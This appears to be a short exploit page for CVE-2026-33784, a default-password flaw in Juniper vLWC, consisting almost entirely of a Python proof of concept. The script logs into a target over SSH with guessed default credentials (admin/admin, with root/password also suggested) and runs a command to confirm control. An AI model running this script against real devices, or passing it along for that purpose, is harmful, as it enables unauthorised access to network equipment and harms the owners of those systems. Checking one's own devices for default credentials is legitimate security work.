CVE-2026-33784 Juniper vLWC默认密码漏洞

import paramiko import time def check_vuln(target_ip, port=22): """ PoC for CVE-2026-33784: Default Password Vulnerability in Juniper vLWC. Attempts to login using default credentials. Note: Replace default_user and default_pass with actual credentials if known. Common defaults might be admin/admin or root/password. """ # Common default credentials placeholder default_user = "admin" default_pass = "admin" try: # Initialize SSH client client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) print(f"[*] Attempting connection to {target_ip}:{port}...") # Attempt login with default credentials client.connect(target_ip, port=port, username=default_user, password=default_pass, timeout=5) print(f"[+] SUCCESS: Logged in with {default_user}:{default_pass}") print(f"[+] Device is vulnerable to CVE-2026-33784") # Example command execution to verify control stdin, stdout, stderr = client.exec_command('whoami') output = stdout.read().decode().strip() print(f"[+] Current user: {output}") client.close() return True except paramiko.AuthenticationException: print(f"[-] Failed to authenticate. Credentials may be changed or incorrect.") return False except Exception as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": target = "192.168.1.1" # Replace with target IP check_vuln(target)